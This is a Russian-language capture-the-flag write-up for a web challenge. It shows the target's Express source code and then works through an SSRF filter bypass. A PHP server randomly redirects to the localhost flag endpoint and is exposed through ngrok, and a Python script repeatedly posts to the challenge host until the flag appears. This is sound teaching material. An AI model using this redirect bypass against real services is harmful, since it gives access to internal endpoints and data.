Ссылка:https://battle.cookiearena.org/challenges/web/difference-check *** # Анализирование Сначала мы просмотрим функцию веб-сайта, функция этого веб-сайта состоит в сравнении содержимого двух веб-сайтов. ![](https://hackmd.io/_uploads/Hyw9TIS33.png) ![](https://hackmd.io/_uploads/Syss6IHh2.png) Мы еще не знаем, какая уязвимость возникает на веб-сайте, но у нас есть код этого веб-сайта. *** # Эксплуатация Вот этот код этого веб-сайта, мы будем анализировать этот код, чтобы эксплуатировать веб-сайт. ```python! const express = require('express'); const bodyParser = require('body-parser'); const app = express(); const ssrfFilter = require('ssrf-req-filter'); const fetch = require('node-fetch'); const Diff = require('diff'); const hbs = require('express-handlebars'); const port = 1337; const flag = 'idek{REDACTED}'; app.use(bodyParser.urlencoded({ extended: true })); app.engine('hbs', hbs.engine({ defaultLayout: 'main', extname: '.hbs' })); app.set('view engine', 'hbs'); async function validifyURL(url){ valid = await fetch(url, {agent: ssrfFilter(url)}) .then((response) => { return true }) .catch(error => { return false }); return valid; }; async function diffURLs(urls){ try{ const pageOne = await fetch(urls[0]).then((r => {return r.text()})); const pageTwo = await fetch(urls[1]).then((r => {return r.text()})); return Diff.diffLines(pageOne, pageTwo) } catch { return 'error!' } }; app.get('/', (req, res) => { res.render('index'); }); app.get('/flag', (req, res) => { if(req.connection.remoteAddress == '::1'){ res.send(flag)} else{ res.send("Forbidden", 503)} }); app.post('/diff', async (req, res) => { let { url1, url2 } = req.body if(typeof url1 !== 'string' || typeof url2 !== 'string'){ return res.send({error: 'Invalid format received'}) }; let urls = [url1, url2]; for(url of urls){ const valid = await validifyURL(url); if(!valid){ return res.send({error: `Request to ${url} was denied`}); }; }; const difference = await diffURLs(urls); res.render('diff', { lines: difference }); }); app.listen(port, () => { console.log(`App listening at http://localhost:${port}`) }); ``` Это endpoint `/flag` для получение флага, но необходимо обойти аутентификацию `localhost` и порт `1337`. Я уверен, что это уязвимость SSRF. ```py! app.get('/flag', (req, res) => { if(req.connection.remoteAddress == '::1'){ res.send(flag)} else{ res.send("Forbidden", 503)} }); ``` Нужно обратить внимание на функцию `validifyURL()`. Эта функция защищает от уязвимости SSRF. Если переменная `valid` имеет значение через метод `fetch`, то вернуть `true` иначе `false`. ```py! async function validifyURL(url){ valid = await fetch(url, {agent: ssrfFilter(url)}) .then((response) => { return true }) .catch(error => { return false }); return valid; }; ``` Эта функция `diffURLs()` просто извлекает содержамое веб-сайтов с помощью метода `fetch`. ```python! async function diffURLs(urls){ try{ const pageOne = await fetch(urls[0]).then((r => {return r.text()})); const pageTwo = await fetch(urls[1]).then((r => {return r.text()})); return Diff.diffLines(pageOne, pageTwo) } catch { return 'error!' } }; ``` Это путь `/diff` , на этом пути проверяется, являются ли `url1` и `url2` `string` или нет, то вернуть `Invalid format received`. Затем использовать функцию validifyURL() чтобы проверить вводимые пользователем и наконец использует функцию `diffURLs()`, чтобы извлечь содержимое двух веб-сайтов. ```python! app.post('/diff', async (req, res) => { let { url1, url2 } = req.body if(typeof url1 !== 'string' || typeof url2 !== 'string'){ return res.send({error: 'Invalid format received'}) }; let urls = [url1, url2]; for(url of urls){ const valid = await validifyURL(url); if(!valid){ return res.send({error: `Request to ${url} was denied`}); }; }; const difference = await diffURLs(urls); res.render('diff', { lines: difference }); }); ``` У нас есть несколько основных пунктов для эксплуатации уязвимости: - Нельзя обойти аутентификацию `localhost` в функции `validifyURL()`. - Будет 2 `fetch` для каждого `url`. - Необходим доступ к пути `/flag` для получение флага. Из основных пунктов выше: - Нужно создать веб-сервер, который каждый "fetch" из двух функций `validifyURL()` и `diffURLs()` может получить доступ к `http://localhost:1337/flag`. - Обязательно получит флаг через уязвимости SSRF Вот код веб-сервера написанный на языке PHP `php -S 0.0.0.0:1338`: ```php! <?php $tmp = rand(0,1); if ($tmp == 1) { header("Location: http://localhost:1337/flag"); } ``` ![](https://hackmd.io/_uploads/S1TjWKjnh.png) - Нужно обратить внимание на код, что когда url веб-сервера проходит через функцию `validifyURL()`, может переменная `$tmp=0`, тогда может обойти функцию `validifyURL()`. Затем он проходит через функцию `diffURLs()`, переменная `$tmp=1` и тогда может доступ к `http://localhost:1337/flag`. - Мы используем инструмент ngrok для создания подключения веб-сервера из local в интернет: `ngrok http 1338` ![](https://hackmd.io/_uploads/ByaJMKih3.png) **Далее, мы создаем следующий инструмент:** ```python! import requests url = "http://103.97.125.53:32344/diff" data = { "url1": "https://24bd-95-220-60-83.ngrok-free.app", "url2": "http://google.com" } # Отправить запров 10 раз for _ in range(10): res = requests.post(url, data=data) flag = res.text if "CHH{" in flag: start = flag.index("CHH{") end = flag.index("}",start) + 1 print(flag[start:end]) break else: print(f"Request {_}:Nothing\n") ``` Вот мы отправим два url на сайт, затем отфильтруем флаг с начальным индексом и конечным индексом. ![](https://hackmd.io/_uploads/rkPNGFj23.png) *** # Заключение Спасибо за прочтение и увидимся в следующем посте. Пока!